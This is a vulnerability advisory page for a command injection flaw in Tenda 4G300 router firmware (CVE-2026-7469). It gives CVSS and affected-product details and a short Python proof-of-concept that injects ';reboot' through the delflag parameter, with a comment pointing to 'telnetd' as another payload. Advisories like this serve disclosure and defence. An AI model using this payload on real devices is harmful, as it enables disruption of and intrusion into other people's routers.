Security Vulnerability Report
中文
CVE-2026-7469 CVSS 6.3 MEDIUM

CVE-2026-7469

Published: 2026-04-30 02:16:07
Last Modified: 2026-04-30 20:41:36

Description

A vulnerability was detected in Tenda 4G300 US_4G300V1.0Mt_V1.01.42_CN_TDC01. This impacts the function sub_425A28 of the file /goform/DelFil. The manipulation of the argument delflag results in command injection. The attack may be launched remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:tenda:4g300_firmware:1.01.42_cn_tdc01:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:4g300:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda 4G300 US_4G300V1.0Mt_V1.01.42_CN_TDC01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL target = "http://<target_ip>/goform/DelFil" # Malicious payload to execute a command (e.g., 'reboot' or 'telnetd') # The injection point is the 'delflag' parameter payload = ";reboot" data = { "delflag": payload } try: # Send POST request to exploit the vulnerability response = requests.post(target, data=data) if response.status_code == 200: print("Payload sent successfully. Check if device rebooted.") else: print(f"Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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